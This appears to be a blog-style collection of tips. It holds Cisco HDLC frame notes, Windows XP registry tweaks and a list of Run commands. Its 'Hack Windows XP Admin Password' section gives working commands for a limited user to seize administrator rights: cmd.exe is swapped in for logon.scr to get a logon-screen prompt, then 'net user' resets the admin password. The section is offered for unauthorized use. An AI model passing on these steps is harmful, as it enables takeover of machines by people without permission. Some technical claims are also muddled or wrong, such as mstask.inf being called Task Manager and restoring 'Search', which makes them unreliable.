WAN Protocols : cHDLC

Cisco's HDLC

1. It is a ISO standard protocol.
2. Bit Oriented Data Link Layer protocol.
3. Encapsultes data on Synchronous serial data links using Frame Characters and Checksums.
4. Commonly used in Leased Lines.
5. No Authentication.
6. Cisco's default encapsulation.

Cisco HDLC Frame Format:



Flag:

The 8 bit pattern "01111110" which signals the beginning and end of an HDLC frame. If a piece of data within the frame to be transmitted contains a series of 5 or more 1's, the transmitting station must insert a 0 to distinguish this set of 1's in the data from the flags at the beginning and end of the frame. This technique of inserting bits is called bit-stuffing. These bits are detected and removed upon receipt. If a pattern of five 1's is followed by a 1 and then a 0, it marks the end of the frame. If a pattern of five ones is followed by two more 1's, it is a signal from the transmitting station to abort.

Address:

The address field always contains the address of a secondary station. When the primary station transmits, it is the receiving secondary station's address, if it is a secondary responding, it is it's own address. This field is only populated for Unbalanced connections, it is otherwise empty for point-to-point (Balanced) links.

Control:

The format of the control field varies with the data it contains. There are three categories of HDLC frames:
Information (I-frame) - Carries data
Supervisory (S-frame) - Carries commands and responses
Unnumbered (U-frame) - Carries additional command sequences

Proprietary:

Specifies the proprietary informations. For Eg: Cisco.
Each Vendor's HDLC has a proprietary data field to support Multiprotocol Environments.

FCS:

A frame check sequence (FCS) refers to the extra checksum characters added to a frame in a communication protocol for error detection and correction.

The sending host computes a checksum on the entire frame and sends this along. The receiving host computes the checksum on the frame using the same algorithm, and compares it to the received FCS. This way it can detect whether any data was lost or altered in transit. It may then discard the data, and request retransmission of the faulty frame. A cyclic redundancy check is often used to compute the FCS.

Source: Internet

To reinstall the Microsoft Task Manager:

1.Click Start , click Run , and then type the following command:
%systemroot%\inf

2.Click OK to open the INF folder.

3.Locate the file mstask.inf

Right-click the file, and then click Install . This will reinstall the files that Search needs to proceed normally.

You will be asked to place your windows XP cd rom in the drive.

Note# I have only tried on XP Pro

To create a Copy To command to Right Click Context Menu:

1. Navigate to the following Registry Value:

\HKEY_CLASSES_ROOT\AllFilesytemObjects\shellex\ContextMenuHandlers

2. Create a sub-key named Copy To

3. Copy and Paste the following value:
{C2FBB630-2971-11D1-A18C-00C04FD75D13}

4. Restart if needed.

Some Usefull Shortcuts:

Usefull RUN Commands:

Accessibility Controls : access.cpl

Add Hardware Wizard : hdwwiz.cpl

Add/Remove Programs : appwiz.cpl

Administrative Tools : control admintools

Automatic Updates : wuaucpl.cpl

Bluetooth Transfer Wizard : fsquirt

Calculator : calc

Certificate Manager : certmgr.msc

Character Map : charmap

Check Disk Utility : chkdsk

Clipboard Viewer : clipbrd

Command Prompt : cmd

Component Services : dcomcnfg

Computer Management : compmgmt.msc

Date and Time Properties : timedate.cpl

DDE Shares : ddeshare

Device Manager : devmgmt.msc

Direct X Control Panel (If Installed)* : directx.cpl

Direct X Troubleshooter : dxdiag

Disk Cleanup Utility : cleanmgr

Disk Defragment : dfrg.msc

Disk Management : diskmgmt.msc

Disk Partition Manager : diskpart

Display Properties : control desktop

Display Properties : desk.cpl

Display Properties (w/Appearance Tab Preselected) : control color

Dr. Watson System Troubleshooting Utility : drwtsn32

Driver Verifier Utility : verifier

Event Viewer : eventvwr.msc

File Signature Verification Tool : sigverif

Findfast : findfast.cpl

Folders Properties : control folders

Fonts : control fonts

Free Cell Card Game : freecell

Game Controllers : joy.cpl

Group Policy Editor (XP Prof) : gpedit.msc

Hearts Card Game : mshearts

Iexpress Wizard : iexpress

Indexing Service : ciadv.msc

Internet Properties : inetcpl.cpl

Hack Windows XP Admin Password:

Want to hack the Administrator Password with your Limited Account. Here is a simple method:

1. Open Dos Prompt.

2. Do the following steps:

cd\ Drops to root
cd\windows\system32 Directs to the system32 dir
mkdir temphack Creates the folder temphack
copy logon.scr temphack\logon.scr Backsup logon.scr
copy cmd.exe temphack\cmd.exe Backsup cmd.exe
del logon.scr Deletes original logon.scr
rename cmd.exe logon.scr Renames cmd.exe to logon.scr
exit Quits DOS

3. Restart the Machine and when the OS loaded it will load the DOS-Prompt

4. Use the Following Commands.

net user admin admin

5. It will set the system Admin as Username and admin as your new Password with the Admnistrator Rights.

6. Copy the contents of temphack and back into the system32 directory.

7. Reboot.

Disable Passport Balloon:

1. Start the Registry Editor.

2. Move to the following Registry value
HKEY_CURRENT_USER\Software\Microsoft\MessengerService

3. Create a New Binary Value and set the value as below
Name : PassportBalloon
Data Value : 0A 00 00 00

4. Reboot your PC.

Hide the Recycle Bin from your Desktop:

1. Open the Notepad and copy the following code.

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu]
"{645FF040-5081-101B-9F08-00AA002F954E}"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel]
"{645FF040-5081-101B-9F08-00AA002F954E}"=dword:00000001

2. Save the file with the extension of .reg(Hide_Bin.reg).

3. Run the File and it will remove the Recycle Bin from your Desktop.